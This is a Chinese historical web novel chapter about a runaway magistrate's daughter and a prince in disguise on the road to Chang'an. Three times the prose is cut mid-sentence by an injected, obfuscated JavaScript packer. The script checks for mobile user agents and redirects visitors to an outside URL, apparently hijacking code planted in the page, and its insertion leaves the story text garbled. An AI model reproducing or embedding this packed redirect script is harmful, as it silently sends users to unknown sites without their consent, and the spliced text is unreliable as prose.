《太平旧梦》 1. 惊鸿照影来 雨，淅沥、滴滴答答，自檐角滑落如一条条无色的细线，编织成帘。 恰是破晓时分，墨色的云，乳白的天光，院中洒扫的仆妇女使，在目光相接的片刻俱是低头不语，仿佛被勒令噤声，企图压下这深宅里不堪的故事。 大红灯笼高高挂起，延伸至路尽头，终于，被一进幽深的小院吞没。 昏暗的闺房里，有一位新娘。 细看这新娘，年岁不大，已出落得极有颜色，面若桃花，细眉微蹙。分明是大喜日子，一身粉衣华服，却把银牙齐咬，满眼不甘与愤慨，奇的是，眸中不曾有一滴眼泪。 她一手抓紧床沿，一手紧紧握成拳头，寸长的指甲无意将掌心掐破，顾不得疼了。单是心下暗思，父亲既然不顾我苦苦哀求，执意将我送与那老棺材瓤子做妾，那我何必顾及他的颜面！ 想罢，一不做二不休，起身拔出髻中钗环，任乱发纷纷。 房前屋后，嘈杂的声儿、杂沓的影儿，本该令其慌乱，可到底稳住了。换上身女使衣服，自妆奁中胡乱翻出些金银细软，用绸缎一裹，背在身前，便悄悄推门出去。 这世道，一介女流如何觅地藏身？她不知道，却也只有这一条路可走。 躲至院外花圃中，院内忽奔出一个婆子，扯着嗓子喊： “来人啊！三小姐不见了！” 她便是这府中三小姐，茉莉。 茉莉恨恨地，竭力把身子缩做一团，不声不响，不过片刻已出一身冷汗。 众人闻声而来，婆子吩咐道： “立刻回老爷太太，三小姐逃了！趁这会子接亲的还没来，快些把小姐追回来......大路小路都去找！” 茉莉闻言，更恨一分。待一众散去，她方环顾四周，先是提心吊胆，三步一回头，直至溜出角门去，见四下无人，才敢敞开步子跑将起来。 啊，雨停了，乌云渐渐散去。 长街在光影里变得熙攘，她如一头挣命的小兽，突出重围，但凭本能，透出满身悲怆。 短短的一生，只有悲怆—— 父亲是京兆府治下县令，只正六品，极爱在府中豢养姬妾，以做钻营之用。十八年前，父亲出巡，在集上看见她的生母卖菜，一身荆钗布裙，难掩国色，于是色心顿起，趁夜一顶小轿将人抬进府里，就此蛮横地收用。 庄稼人眼皮浅，自以为攀上高枝，便安心困在这不得见人的院中。一年后，如愿诞下一女，自恃依仗，因此懈怠起来，不事保养，于是色衰而爱驰，爱驰而恩绝了。 日子清净漫长，幸而有女儿相伴，光阴就在那一针一线中，变成丝帕上一朵一朵洁白淡雅的茉莉花。 五岁上，茉莉在树荫下守着娘亲刺绣，院外忽有一行人来，为首那老妈妈，笑意盈盈将她抱起： “三小姐。” 茉莉木木地，伏在她肩头，不敢动，依旧望向树下那绣花的身影，只是想哭。 老妈妈笑道： “别害怕，老爷想见小姐呢。” 茉莉强令自己抱紧她，仍不言语。那是她第一次见到父亲，那么斯文和善的一个人，唯独望向她时有点邪恶。 他抱过她，很喜爱似的： “乖女儿，你想不想爹爹？” “想。”她懵懵懂懂，但凭本能讨父亲欢心。 “那你就在这儿陪爹爹吧。” 自此，她再未见过娘亲......整整十二年，方逃出生天。 茉莉但觉三魂七魄冲出天顶，在身后幽幽追赶她的肉身，直到跑进树林，身后尾巴方甩掉，才敢停下歇脚。 一步一步，如履薄冰，茉莉只似崖边行走，前路茫茫，后路凄凄。 管不得了，只有孤身上路！ 阳关路。 愈走，眼前愈发模糊。 因她想起阿娘，却记不起阿娘的模样了。 回忆里只有那日斑驳的阳光、花香和人影。 她靠在树上哽咽起来，泪像断线的珠子，自眼中坠下，将皮肤灼得发红，将声音烧得嘶哑。不能哭，要争气，要给娘报仇。爹？他算是什么爹！ 她恨极了，无声的，掌心又掐出一道绝望的血痕。 她定要他付出代价！ 腹中咕嘟两声，她实在没力气恨了，只得蹲下身，企图从包袱里翻出什么吃食。 身前的枯叶动了动，茉莉杏眼圆睁，盯住，又不动了，继续埋头翻找。再晃眼一看，分明从里头伸出一只手，骨节分明，满是血污，自是尖叫起来...... 好半晌，方记起要跑。那手竟已摸到她绣鞋上了，自枯叶堆下传出很轻的一声“救我”。她慌乱地踢开那手，提腿要跑，只听得一声闷哼，再没动静了。 她亦不安定，鬼鬼祟祟地凑过去，一手抓紧银钗，一手试探地拨开枯叶。“哗哗”几声，只见里头躺着一个男人，加冠年纪，羊脂玉皮，生得清俊风流。 他是谁？怎会流落至此？ 原本茉莉要走，但阳光洒下时，那人衣料中金线的光芒刺进眼底，双目向下一扫，赫然见腰间系紧的玉蹀躞，好润，好亮，那黄袋子的是什么？细看，只是个鲤鱼似的荷包，绣着树。 茉莉思忖道，他不像普通人。自己孤身在外，往后免不得要人帮衬，此刻虽不知道他的真实身份，但若真不普通呢？ 暗下心思，茉莉拍拍他的脸： “能听见吗？” 这仿佛奄奄一息的男人，沉于梦中，是被她的哭声唤回人间，这荒郊野岭，她嘶声痛哭，必是受了天大的委屈，故睁眼问道： “姑娘，你为何如此难过？” 茉莉发红的眼睛避开他，忽然一阵心疼。片刻后，壮起胆，仍不免忐忑，只好装作居高临下的： “别废话。你干么躺在这里吓人？” 他噙起笑意： “我受伤，躺在这里休息，不行么？” 她冷傲地起身： “看来你伤得不重，不需要我救。” 他颤颤巍巍地坐起来，讪讪笑道： “我伤在腿上，马不见了。劳烦姑娘行个方便，陪我走一程吧。” 啊，原来是这样。茉莉斜斜地打量他，不言不笑。 他没有羞，没有恼，没有不自在，不过猜她是个心软的小姑娘，愿意主动矮她半截： “多谢姑娘搭救。” 被架上了，冷冷瞅他半晌，只道，这会子救他既不必费多大劲，又能得个人情，故去他扶起来，问： “你是怎么伤的？” “遇见劫道的了。”他不便实言相告，只好另起话头，“我叫隋意，你呢？” 听着像假名，茉莉忽然瞧他不起，也信口胡诌： “我叫文君。” “真的么？” “我骗你有什么好处？” 隋意确是他的化名。他乃是当今帝后的次子，名唤楚棣，去岁已加冠成人，并未受封为王，在朝中处境十分尴尬，幸而他生就胸无大志，成日混吃等死，倒也爽快。 但因年纪到了，阿耶曾几番暗示，让他心中不安——议亲成家，若议到个不识大体的正妻，这一生就完蛋了。 茉莉与楚棣，虽不相识，但对未来有相似的惶恐。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120107|149858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正因如此，怎肯此时见真章？ 他的母亲闺名便是文君，在他的认识里，名里有个“君”字的姑娘，大抵都像他母亲，在家中是极受疼爱的。流落至此，偶得佳人相伴，且于姓名上如此熟稔，便觉可将自己托付出去，路上相互照应。 她不理会，兀自向前，由他一瘸一拐地跟在身后。 起风了，他嗅到空气里清甜的花香，猛吸了一口。 “是茉莉香片。你闻到了吗？” “没有，你闻错了。” “我可是得罪姑娘你了？” “不。我只想在天黑前找个地方落脚，着急赶路罢了。” “我是骑马来到此地，跑了足有半夜。依我现在的脚力，恐怕......” 茉莉定住，回身打量楚棣，一身藏青丝罗袍服，似乎被撕破的，而且脏的不像样，左裤腿上血迹斑斑，强撑着，尤待拯救。实在看不过眼，便扶他坐到枯倒的树干上，叮嘱道： “你别动，我给你清理伤口包扎一下。” 于是楚棣大力撕破衣角，递与她： “用它吧。” 茉莉接过，略抱怨地： “我真不明白，像你这样的公子哥，不在家里好好过日子，出来瞎跑什么？” “士子游历嘛！”楚棣不免心虚，“那你呢？为什么一个人。” 茉莉不答，冷冷地：“我去那边了。” 楚棣笑说：“多谢！” 茉莉蹲在溪边，衣料在水中浣过两遍，变得轻透耀眼，原来好料子是这样。 水中倒影让她觉出自身的粗糙，回首望向楚棣，正闭着眼沐浴在阳光中，和她一样，也像一头兽，不过是富贵场温柔乡里养大的，不疾不徐，分外舒展，那模样，真让人自惭形秽。 浣好了，起身回去，把衣料递给他，擦洗过后，想再撕下一片，只怕身上没一处干净料子，茉莉便大度地抽出袖中丝帕，命他自己包扎。 “这会子好多了。”他说。 既是如此，休息过后便结伴上路。直至正午时分，二人路过一间茶棚，心照不宣地坐下，问小二： “此地离长安还有多远？” “不远，也就二十里路。”小二端上两碗面条，“二位客官往东走，上官道雇辆牛车，天黑前就能到长安。” 茉莉抱紧包袱。 “雇牛车要多少银子？” “几十文是要的。” 楚棣囊中羞涩： “等进了城我再还你，行吗？” 茉莉只问： “府上在长安？” “是。” “你的名字不像真的。” “那像什么？” “怎么会有人叫随意？比用花儿草儿做名字还要不上心。” 楚棣默了片刻，笑道： “那你认为棠棣二字如何？” 茉莉撇撇嘴： “这是谁的名儿？你认得他么？” “认得，是太子殿下。” “真的么？” “真的。” “太子殿下的名，也是一种花儿吗？” “花儿？不，他是树。” “哦。” “你为什么那么在意名字？” 她在意吗？是在意的。只因生在茉莉盛开的季节，便叫了茉莉，这名字仿佛时刻提醒着她，她是不受宠的。 她不喜欢。 她曾做过一个梦，她改了名，像世家大族中受宠的女孩儿们一样名里有个“君”字。 改名容易，可是命运，真的会因此而改变吗？ 2. 长安夜色浓 茉莉和他说不着。 吃完面，继续埋头赶路，丝毫不管他的快慢。 到了官道上，数十人的西域商队迎面而来，骆驼满背货物，慢悠悠地迎风沙而去，驼铃阵阵，清脆悦耳。 茉莉自幼被豢养在深宅之中，没见过什么世面，不禁兴奋道： “无数铃声遥过碛，应驮白练到安西。” 看方向，他们要回西域呢。 “是张籍的诗。姑娘曾上过学？认得字？倒真配得‘文君’二字。” “配不配用你说么？我们小门小户就不用读书写字了？” 楚棣蹙起眉心，不解： “姑娘，我可是得罪你了？” “是。” “请告诉我。” “没法说......”茉莉努努嘴，“说了你也不懂。” “你不说怎知道我不懂？” “你问我‘上过学认得字么’在我听来是一种讥讽。” “可我丝毫没有那个意思。” “谁知道呢，也许说者无心，听者有意吧。” “我向你致歉，”楚棣摸不着头脑，但很好气的，“对不起，我不该那样问你，只是，我的确在向你表达我的敬意。” “那你的意思是——不读书不认字就不配得到你的敬意吗？”茉莉认得几个字，但不大会写，自卑炮仗似的炸开了。 “哪有。”楚棣试图解开误会，只问：“你能说说真正的问题吗？” 茉莉被他看穿，抱紧包袱径直走到最近的牛车面前，不问价，一跃坐了上去。楚棣紧追不舍，也坐上去。 小姑娘奇怪得很，但与他什么相干？萍水相逢罢了。不愿说也无妨，只是，他再问下去，倒像欠着她什么。 思及此处，楚棣深叹一气，悄悄看向茉莉——一身亚麻衣服，纤细的身子蜷起，伸长了脖子，杏眼圆睁，抿起唇，别着脸，定定望向远处，尤其地倔。 怕她发现，于是把剑放到身侧，仰倒在麦秆上假寐。后来真睡了一路。 这一路茉莉没闲着，多数时间都用在考虑将来了。她最大的本事是跳舞，自幼便学，不曾懒怠一日，原是为父亲的一己之私而学，直至今日，才算真成了自己的东西。 听说长安的教坊司汇聚了天下最会跳舞的人，她也想去试试，万一选上呢，衣食住行便都有了着落，也好就此躲过父亲。 怎样才能入选？她不知道。思忖半晌，目光不自觉地转到楚棣脸上，或许他会知道。不知还要多久，她等不及了，信手捻起一根稻草，朝他脸颊、鼻尖、脖颈逗弄，怎么都不醒。 她相信楚棣懂得官门的规矩。他看起来什么都知道。 夕阳西下，长安城内鼓声阵阵，城门要关了。这天像是大日子——百姓竟排起长队，等候检视，一名翊卫手拿画像，挨个盘问： “见过这个人吗？” 到地方，楚棣丝毫没有醒的意思，车夫催茉莉付完银子，遂将二人赶下去。 有人说： “那人犯案被通缉了，提供线索赏金这个数！”他激动地比个手势，继续说：“不知道是什么案子？要是亡命之徒，这钱拿着，咱们有没有命花还两说！” 百姓围成一团，七嘴八舌地讨论起来，茉莉爱凑热闹，站在一旁听了个大概。 什么人？值这么多钱。 鼓声就要停了。 翊卫抻着画像仔细对比，神情变了又变，茉莉但觉不妙，瞪直眼看看画，再回头看他，像！实在是像！不知为何，竟没想到揭发，只是心虚，垂着脑袋等候发落。 ——其实，她看准了画上是他。她算存心包庇的。 楚棣抱紧长剑，微微把头一摇，翊卫便放行了。他跟着茉莉，一瘸一拐穿过甬-道进入长安，行人脚步匆匆，远处不时有马蹄声和锣鼓声。见茉莉一双眼滴溜溜地转着，他玩心顿起： “快宵禁了，金吾卫看见人可是要抓的。你有地方落脚么？” 茉莉看着他，抱紧包袱，紧咬着嘴唇，心生怯意。这人性子顶好，色相绝佳，怎么会是个坏人。 坏也顾不得了。 为了不被金吾卫抓走，她一咬牙，决定先跟他走。 “你知道哪里能落脚？” 楚棣自恃熟悉长安，且是皇子身份，自然顾忌全无——金吾卫管不着他！那翊卫他也认识，是东宫的人，想必不过片刻，他露面的消息便会传到宫里。 这时就眯眼一笑： “当然！请姑娘给我一个机会向你致歉。” 然后做个请的手势。 茉莉心甘情愿随他而去，将包裹抱得更紧了。 做贼一般的。楚棣净领她去走小巷。 二人在坊肆间穿来穿去，直到天擦黑，星子如棋，错落在无垠的棋盘上。马蹄声自身后而来，有人鸣锣喊道： “宵禁时分，何人在此游荡？” 当下，楚棣拽她躲到一处照壁后头，巨大的阴影遮盖住他们的身影，金吾卫打马而过了。 茉莉心跳如鼓，静待危机解除。 心念，幸好没被发现，幸好跟他一道，否则过会儿就该被抓了。 约莫十弹指功夫，总算没有异样。人马俱去，越行越远。楚棣松开她的胳膊，略有些不好意思，关切道： “抓疼你了吗？” “没。”茉莉涨红了脸。 楚棣低声一笑，手指向府门上那匾额：“我们到了。” “好气派的人家！”茉莉问：“这是哪里？” 他仍一副笑模样：“你别管，总之咱们今晚能饱餐一顿。” 茉莉从未见过如此的府邸，但觉如诗文里的神仙洞府一般，说不定进去真是瑶池仙境呢。她犯怯，但她没有说，只是躲在楚棣身后抓紧他的衣角，心有戚戚，看他叩门。 “哎，没人应门。”她向下扫一眼，“不如先找一家医馆医治你的腿伤吧。” 他信心百倍地回头道：“不必担心，入府自有人为我医治。” “况且宵禁以后，再没有医者开门行医的。”他解释。 茉莉只得点头： “可这家人认得你么？他们凭什么为你医治？还是说......” “不认得。”他坦诚，“我也是碰碰运气。” “真不靠谱。”茉莉抬头望见硕大的“崔府”二字，问道：“这是当今世家之首的博陵崔氏吗？” “长安城里姓崔的人家不少，我也不知这里是不是那个崔府。” “听说太子妃就是崔家的女儿。” “是，”楚棣忽然有点不公，“你说他凭什么？” 茉莉只当他恼自己攀不上崔府高枝，不知为何，竟有笑意： “怪只怪，咱们没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120108|149858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个好出身。” 那“咱们”二字，悄悄被她吞去。 楚棣冷笑一声，正欲说话，角门就开了。 门子把脑袋探出来，待看清来人，立刻瞪圆双眼，口中要喊。见楚棣一记眼刀飞去，话就咽下去，旋身出门深深一躬，方恭敬问： “二位寅夜造访所为何事？” 楚棣抱着剑，信口拈来： “听闻府上效仿先秦颁布了一则求贤令，我是来报名的。” 这一路上只见他谦卑，这般自大还是第一次见呢。 茉莉看他撒野，更死死躲在后头，生怕被一起乱棍打出去。她不明白，他的自大从何而来？可转念一想，他们不是一路人，她不明白的太多了。 门子心念，二殿下捣什么鬼？看一眼他身后，不再多嘴，只把人迎进去。 茉莉愕然： “这样也行？” 楚棣满面春风，不时地回头看一眼茉莉。她好奇地四处张望，不断地叹：“果然名不虚传。” 崔府，这长安城里数一数二的人家，建筑古朴，装饰风雅。正值初秋时节，菊、栀子、木槿、百合，还有她——茉莉。一色的白，满园的香，在这芳菲不尽的园里，夜风清甜的辰光，怎会有人怀揣心事？ 楚棣不懂她的沉默： “你饿了吗？等拜会过府上主人咱们就有东西吃了。” 而后，他停在茉莉花前，俯身去嗅，有点开解的意思： “文君姑娘，你看这一丛茉莉，虽生得小巧，却能有如此芬芳。不起眼有什么打紧？它开它的，总有人经过，一闻见，便慢慢儿地看，慢慢儿地赏，替它起了好名字，叫做雅友。这才是好际遇。” “若我只想摘它簪在鬓边呢？” 楚棣知道她听懂了，只是说： “如果你愿意，我这就摘了送你。” 她没有再回答。 “你真心喜欢，那簪在鬓边也是它的一处好所在。这花，与你是相得益彰呀！” “可惜我不喜欢——” “那你喜欢什么？” “我不知道。我只知道我不喜欢茉莉。” “我实在不懂你的意思。” “就知道你不懂。” “明天过后，你可有想去的地方？” “教坊司。” 二人被领进一处偏厅落座，桌上已摆上时令瓜果和几碟精致点心。楚棣兴致不错，更衬得茉莉心事重重。 “腰缠万贯不如一技在身，想来姑娘便是如此罢。” “我会跳舞。” “那教坊真是姑娘的好去处了。”他把剑放在桌边，娓娓道：“听说教坊司中的女伶分为四等，分别是内人、宫人、搊弹家和杂妇女，那叫做内人的，技艺姿色俱佳，平日苦心练上几样复杂歌舞，没准儿能在御前露脸呢。” “我没想那么远，只要有口饭吃，有地方住，我就很满足了。”茉莉捏着一块从未见过的水晶糕点，神色越发暗淡，“隋公子，我不像你，我只是一个极普通极普通的人。” 楚棣更好奇了：“你没想过要为自己奔个好前程吗？” 茉莉忽地怔住。她是想要好前程的，也许去教坊便是她未曾察觉的深意。她想为母亲报仇，需要权力。至少要凌驾于六品官员以上的权力。 这一问，好似让她拨开云雾，得见青天。 3. 闲谈相交心 “怎样的前程才算好？” “一世平淡，就是顶好的。” “但若——你真心如此，又何必削尖脑袋进这官门？” 他听见这话，不禁牵了牵嘴角，默然。 她说得对，他不是真心追求平淡。他是二殿下，生来就在万人之上，但总比太子低一头，不管他多么出色，也灭不过这次序。 只因先有“棠”，才有“棣”，故而他在外只叫自己“随意”。 “我瞧你出身不低，想劝你，可我不知道高门的规矩，便不知道从何劝起。”茉莉的视线局促地扫过四周，“隋公子，若生在崔府这般富贵场中，要想一世平淡，实在是简单......” 楚棣闻言，认真思忖着。 茉莉声线渐稳： “你是男子，糊糊涂涂也能过好这一生。我们女子，万万不该如此过活——但总有人如此。” “文君姑娘，”他注视着她，“谢谢你愿意和我说这些。但，恕我冒犯，我的处境，无人能懂。” 无人能懂。无人能懂。 这样的反驳，不容质疑。 茉莉近乎自语：“那我的处境，谁又能懂......” 俱是默然。 幸而小厮进门通报：“隋公子，实在不巧，阿郎今日宴会饮酒，已歇息了，六郎在宫中当值。管家已吩咐厨房为您二位做了几样可口小菜，请将就用吧。用完饭自有使女引二位去厢房休息。” 茉莉已被崔府的宽厚折服。 “多谢。我什么时候能见崔将军？” “明日一早。” “好。”楚棣煞有其事。 待小厮一走，便回头对茉莉笑： “怎么样，我没骗你吧！” “没有。”茉莉认他是个好人，“只是，那城门口画像上的人怎么跟你那么像？” “花有相同，人有相似。你看咱们一路进来也没人追我不是。”楚棣死口不认。 “老实说，你是不是对我有些隐瞒？” “难道姑娘对我没有隐瞒？” 二人就此偃旗息鼓，默契地不再互相审问。 自打进崔府，茉莉才算明白她爹豢养姬妾、钻营投机到底为的什么。入仕的人，谁不想奔这好前程？只恨她不是男子，可走的路又少一条。 心念一动，没头没脑地问： “这世上可有女子做官？” “自然有的。” “当真吗？” “当真，对面裴府的九小姐，现下就是中宫最得力的女官。” “管什么呢？” “宫中制诰、账目一类的。” “除了她，还有别的吗？” “有，比如教坊司的掌教们。”楚棣笑着，“没准儿姑娘去了也弄个鱼袋挂着。” 茉莉曾听父亲说起，再升一级便能佩银鱼袋，想来他在说好话呢。仿佛有了目标，也笑： “你真觉着我去了能做官儿？” “假以时日。” “那你有鱼袋吗？” 楚棣取下腰间鱼袋递与她：“这就是了。” 茉莉拿在手中，摸着袋面精工细绣的纹样，眼熟得很。单是说：“白日里远远看着像金色的，这厢拿在手里细看，原来泛的是紫光。”不禁艳羡。 等到将来，她也要有这样的鱼袋。 楚棣静静地，目光如春水，一丝一缕浇灌着她。 “我不再有隐瞒了。”他想，“只要你打开鱼袋，全部的我都在你眼前。” 可是，可是。 茉莉没有打开便还给了他。 怎么好像有些失落？楚棣问自己。 文君姑娘不识货，他不应该在此刻和盘托出，这狼狈的一天，终究要结束了。 既知她的去处，那么明日之后，他们还会再见的。 茉莉还在好奇他袋中那沉甸甸的物事。 不知不觉，夜色已深，二人被小厮使女分别带到厢房，一夜好眠。 当天边泛起一片粉色云霞时，茉莉忽地瞪圆眼睛，自床上坐起。 风轻轻拂过，园内草木微颤，沙沙作响，众人皆醒。醒得更早的，早已结束洒扫。茉莉麻利地起床穿衣洗漱，裹好包袱，想去寻隋意，他那么懒，说不定还在睡呢。 屋外脚步声越来越近。 透过缝隙，只见他换了一身新衫，正和一个身材亭匀、面如冠玉的男人，闲庭信步而来，楚棣极亲热的： “昨夜医官瞧过，给开了药膏，说抹上十天半月定会恢复如初。您不必担心。” “追贼出城竟不带护卫，胆子忒大！你可知，一夜之间已是谣言四起。” “我这不是效仿六叔您吗。”楚棣顿住片刻，没有接话，但是说：“幸而在路上遇到那文君姑娘，否则我一日之内回不了长安。” 男人微微笑道： “那你认她是你的救命恩人？” 楚棣不加思忖： “那是自然。” 茉莉见他俩一路走来，连忙坐到桌边，随后便听得敲门声。懒懒地起身开门，状似诧异： “隋公子，你醒的真早！我刚收拾好要去找你呢。” 楚棣只是笑： “文君姑娘，我来为你引见。” 循声而去，茉莉道眼前这个，更贵过身旁那个。 他略长几岁，明明目若朗星眉聚风云，却不意威慑旁人，只如清风霁月沁人心脾。身穿银青缂丝常服，负手而立，笑意盈盈。 楚棣道： “这是检校千牛卫大将军崔平陆崔将军！” 茉莉慌忙做福： “民女茉...文君请崔将军安。” 楚棣暗道，原来她姓莫，莫文君，真是个好名字。随即将她扶起： “不必多礼，我一早已将事情原委禀明崔将军，待会儿我要赶去衙门点卯，没法儿送你。等你入了教坊司，崔将军定会对你多加关照的。” 崔平陆直说请起，后头那话，既不肯定亦不否定。 只是看他们，另有计较。 茉莉年纪小，于为人处事上多有欠缺，看不懂这场面，只得竭力叫自己沉着。跟随他们，一道出了府门，楚棣向她道别后便打马而去——啊！他的鱼袋是金色的，崔将军的鱼袋也是金色的！ 来不及弄清他的真实身份，已分道扬镳，马蹄卷起尘沙，模糊了他的身影。崔平陆站在门内，对随从耳语片刻便转身回去。 他到底是谁？茉莉孤身立于长街之上，四顾茫茫，但觉昨日种种如大梦一场，不愿醒呀！ 一条铺满金光的大道。茉莉走得恍惚，两旁的店铺早已开门迎客：茶点、小玩意儿、丝绸、茶叶、花鸟鱼虫。好不热闹。 可恨天公不作美！ 淅淅沥沥下起小雨，行人匆匆散去。街道复又冷清。 茉莉将包袱顶在头上，闻得身后那慵懒的马蹄声，不禁循声望去，只见一把长柄丹青油纸伞，掩住马背上半片人影，在空中纹丝不动。腰间挂的是金鱼袋，这人也是个大官！天色不早了，不知要上哪个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120109|149858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衙门去，竟如此懒散。 三两步躲到檐下，那马却在跟前停住。 伞不轻不重地飘落在跟前，茉莉看见，马上是个一身月色常服的英气女子。 不禁呆了： “多谢官人。” 女子醉醺醺的： “不谢。” 旋即把斗篷一抖，戴上帽子策马而去。 她注视着她的方向。撑起伞，一步一步，朝教坊司走去。 这女官大约二十二三光景，生的好就罢了，为人也飒利爽气，真叫人嫉妒。她只恨： “我怎么没投这么好的胎！” 可转念一想： “每个人都有自己要走的路，不穿上她的鞋，不走她的路，又如何知晓其中的艰险苦厄。倒不如踏踏实实走好脚下这条路。” 如同一个目标，决心要走到底。 是郑重而肃穆的，不容更改。 茉莉捡起地上的伞，孤身走进雨里。任前路茫茫，总有她一两节奇遇。昨日虽颠沛，可她到底逃出生天，自此天大地大，再不容半分束缚。 老实说，这雨中送伞的温暖，已叫她忘记，自己是无根的浮萍，只管大剌剌向前走去。 * * 大明宫气派森严。极安静。一黑一白两条身影，一前一后，驻足立政殿前。 楚棣和那女官相遇了。上前规矩地躬身一揖，打趣道： “裴大人，早。怎么又误了时辰？难不成知道我要回来，特来会我的。” 女官并未回礼，忽地清醒了，面上尽露惊疑之色。一面解下斗篷，一面上下打量他，关切道： “少贫嘴。六叔说你受了伤，现下可好些了？” 他瞧她神色有异，不好问，单是答话： “谢过九姐关心，小弟是皮外伤，不碍事。” “走吧，娘娘担心你呢。” 二人一道上了阶梯。 女官心道，原来自己昨日错怪了太子，不禁后怕。他们虽是青梅竹马，有些情份，可太子那性子，万一记恨上她，可怎么才好？这时扭脸看向楚棣，不免放心又窝火。 “若伤口不打紧，你今日多早晚要去东宫走一趟。记得了？” “就不容我休息片刻吗？” “你啊，你可知道，”女官顿了顿，挤出一句：“殿下为你都快急出病了。” “是有人多嘴么？” 话音未落，女官已剑眉蹙起，虽不忿，到底按耐住。靠过去，压低了声音： “你还不清楚他？谁不怀疑？谁敢置喙？我是多嘴和他拌了一句，还不都是为你！” 说罢，只把斗篷一抖，雨珠密密地洒在空气里。她快步流星朝大殿走去，独留楚棣在后头一瘸一拐，十分艰难。 “九姐，等等我！” 女官及时在殿前止步，回身怒目训斥： “二殿下，在宫里要称职务。” 楚棣配合，俯小做低道： “裴念元裴大人，多谢您为我仗义执言，小的这厢谢过！东宫我是一定会去的，只是太子殿下日理万机，小弟贸然前去，万一不凑巧就不好了。不若等伤愈......” “呸！”裴念元啐他一口，只恨自己多管闲事，暗暗发誓，不再过问他们兄弟二人的事。旋即整肃神色，侧身一躬： “二殿下请。” 楚棣见她有气，生怕她从此疏远自己，正要解释，陡地听见殿内宫人在唤，不便耽搁，深吸一口气后，抚平衣上褶皱，便冉冉自殿内去。 4. 昼眠惊慈亲 窦皇后瞧见他，心道前日请安还好好的，不过失踪一日，怎么人也黑了，腿也瘸了，真不敢想这短短一日，他在外头遭了什么罪。 “棣儿，快过来让阿娘看看！” 不论在朝堂还是父母跟前，楚棣心里都清楚，自己是不上不下的一个。阿耶阿娘爱他吗？爱的，可是远不及给阿兄的爱。趁此良机，要多多撒娇卖惨，让阿娘更疼一疼自己。 楚棣一手扶住伤腿，又慢又小心地，近乎拖行。可怜人高马大，神情却似孩童般倔强，惹人怜爱呀！不管不管，就要装得凄凄惨惨。 独留裴念元在身后错愕，方在殿外健步如飞，这是演哪出？待反应过来，便缓步前去请安，倒也追上了。 “殿下好心计。”她打趣。 二人目光相接，楚棣唇边噙起笑意——这小把戏，阿娘早看惯的，不是不懂，而是乐在其中。 窦皇后将这眉眼官司看在眼里，霎时间百感交集。 太子稍长小九两岁，自幼相识，两小无猜，七岁上分席而坐，相见亦有说有笑，还算亲近，但不知为何，近几年小九越发疏远太子，亲近二郎。原先她以为，小九对二郎有情，可一细看，便知是自己想岔了。 她有三个孩子，说来都疼都爱，可要做到一碗水端平，那太难了。二郎上有长兄，下有幼妹，早早地便懂事了，严于律己，勤学上进，但一不邀功争宠，二无夺嫡之心，专心地享受身为皇子的殊荣。他们私下里常感叹，得子如此，是几世修来的福分。 近一年来，陛下日渐消瘦，有天不假年之相，待来日太子即位，谁道会不会忌惮自己品学兼优的弟弟？她的儿子，她最知道。 楚棣并裴念元走到近处，一齐向窦皇后见礼。 窦皇后两腮盈笑：“棣儿、小九，都起来吧。”视线在楚棣身上流连：“好棣儿，现在还疼吗？”说着便拉他到眼前，细细查看伤处。 “谢阿娘关心，儿子不疼了。”楚棣站得累，索性坐到窦皇后膝下：“一来那只是皮外伤，不碍事；二来医官给的金创药着实厉害，只敷了两回便好多了；三来自然是阿娘的缘故，有您心疼照看，那伤口如何还疼？” “油嘴滑舌。”窦皇后一点楚棣眉心，笑道：“见你没有大碍，阿娘终能放心了。你跟阿娘说说到底怎么回事。” 楚棣回忆起来： “儿子前天傍晚碰见康王府追捕盗贼便骑马追出城去，一路上交手，拳脚兵刃都动了，却始终分不出胜负，直到进了山——” 忽见得高处闪下一道青影，对楚棣大喝： “你这小子，追我徒儿做甚？还不快滚回长安去！”话音未落，人已落至盗贼身边，身材高挑瘦削，身法利落。是个年近三十的女子，穿一身深青长衫，腰间配一把细剑。 那小贼舞象之年，楚棣与之交手尚且吃力，更遑论加他师父？楚棣深知处于下风，只得拱手，向二人道： “在下金吾卫中郎将隋意，前辈高足在康王府行窃，故被追赶至此。请二位归还失物，好让在下回去交差。” 青衫女子笑道： “隋先生，我徒儿不过见康王府内奇珍异宝数之不尽，一时好奇，拿两样来玩玩儿，等玩够了，自然会还回去。你不必着急。”边说边把徒弟扶起，不说不问，其实提防着楚棣暗算。 楚棣一手拉缰，一手按剑，面带讥讽： “一般珠宝玉器有什么好玩，比得上圣人御赐吗？二位一身好武艺，若欢喜去富贵场中，不如忠心报国挣个功名，届时要什么宝物没有？何必行此偷盗之事，若康王报官围捕，二位此生再难快活。” 小贼忽而一笑： 